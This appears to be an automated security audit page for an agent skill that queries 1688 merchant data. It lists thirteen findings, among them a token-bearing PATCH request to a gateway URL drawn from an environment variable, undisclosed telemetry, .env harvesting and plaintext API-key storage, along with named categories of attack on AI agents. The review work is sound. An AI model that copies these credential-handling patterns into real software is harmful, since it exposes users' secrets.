1688 Shop Freedom Query Data

• Outcome: Pass
• Latest audit: May 28, 2026 · 8:47 AM UTC
• Version: 1.0.0

Overview

This skill appears to do what it says: query 1688 merchant data using a user-provided access key, with some normal credential and export risks to understand.

Install only if you trust this skill with your 1688 access key and merchant metrics. Protect the OpenClaw config file because the AK may be stored there in plaintext, avoid using a shared workspace for exports, and rotate the AK if the config or generated output is exposed.

SkillSpector

By NVIDIA

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Taint Tracking: Direct Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands

Findings (13)

Tainted flow: 'gateway_url' from os.environ.get (line 34, credential/environment) → requests.patch (network output)

Critical

• Category: Data Flow

Content

headers = {}
        if token:
            headers["Authorization"] = f"Bearer {token}"
        resp = requests.patch(f"{gateway_url}/api/config",
                              headers=headers, json=payload, timeout=5)
        return resp.ok
    except Exception:

• Confidence: 95% confidence
• Finding: resp = requests.patch(f"{gateway_url}/api/config", headers=headers, json=payload, timeout=5)

Description-Behavior Mismatch

Medium

• Confidence: 88% confidence
• Finding: The skill scope expands from read-only querying to generating HTML, exporting Excel files, and invoking other skills or Python fallback logic. This increases the attack surface substantially: data can be persisted locally, rendered into active content, or passed into less-audited execution paths not implied by the original skill purpose.

Description-Behavior Mismatch

Medium

• Confidence: 93% confidence
• Finding: The file adds telemetry reporting on every CLI invocation, which is outside the skill's stated purpose of querying merchant data. Even though the payload appears limited to skill metadata, undisclosed outbound reporting expands the skill's behavior and creates privacy and trust concerns, especially because it happens automatically and failures are silently ignored.

Context-Inappropriate Capability

Medium

• Confidence: 89% confidence
• Finding: The module reads the project-root .env file and injects all key-value pairs into os.environ during import, even though telemetry only needs three specific variables. Loading arbitrary .env entries broadens access to potentially sensitive configuration and increases the chance that unrelated secrets become available to other code paths or are accidentally transmitted later.

Description-Behavior Mismatch

Medium

• Confidence: 86% confidence
• Finding: This skill includes a credential configuration service that persists API keys to a gateway or local config file, which is broader than the advertised query-only behavior. Even if intended for setup, this expands the skill's privilege and creates a durable secret-handling surface that can be abused or mishandled.

Context-Inappropriate Capability

Medium

• Confidence: 82% confidence
• Finding: The code reads authentication-related values from environment variables and then persists credentials into broader configuration state. For a user-facing shop-query skill, secret access and persistence are not strictly necessary at runtime and increase the blast radius if the skill or host environment is compromised.

Missing User Warnings

Medium

• Confidence: 86% confidence
• Finding: The skill permits direct execution of supposedly read-only commands without user confirmation, even though those commands send merchant queries and contextual data to backend RAG/data services. This can expose sensitive business intent or shop metrics to remote systems without meaningful user awareness or consent.

Missing User Warnings

Medium

• Confidence: 93% confidence
• Finding: The AK configuration flow tells users to configure credentials but does not warn that the credential is stored locally and may also affect gateway configuration. Storing sensitive API keys without explicit disclosure and secure-handling guidance can lead to credential leakage through local files, backups, logs, or shared environments.

Missing User Warnings

Low

• Confidence: 81% confidence
• Finding: The export feature writes Excel files containing shop data to local disk without warning users about local persistence. This can leave sensitive business data in outputs directories, backups, or shared workspaces where unintended parties may access it.

Missing User Warnings

Medium

• Confidence: 90% confidence
• Finding: The `configure` command persists an API key to a local JSON config file without any warning, permission hardening, or use of a secure secret store. This increases the chance of accidental credential exposure through weak file permissions, backups, shared home directories, or later disclosure by other tools reading the config.

Missing User Warnings

Medium

• Confidence: 94% confidence
• Finding: The code reports each CLI execution to a remote gateway without any visible consent, prompt, or disclosure in this file, and suppresses errors silently. This creates a covert data flow from user activity to an external service, which is especially concerning in a skill whose advertised function is data querying rather than analytics collection.

Missing User Warnings

Medium

• Confidence: 94% confidence
• Finding: The service transmits the API key to the gateway, and the default endpoint is http://localhost:18789 with no transport-security guarantee or user-facing disclosure. If the gateway is remote, proxied, container-bridged, or localhost trust is broken, the secret can be intercepted or sent to an unintended service.

Missing User Warnings

Medium

• Confidence: 90% confidence
• Finding: The fallback path writes the API key in plaintext into a persistent JSON configuration file without any indication of file permission hardening, encryption, or user warning. This increases the chance of credential disclosure through backups, logs, accidental sharing, or other local users/processes.

VirusTotal

66/66 vendors flagged this skill as clean.

Static analysis

No suspicious patterns detected.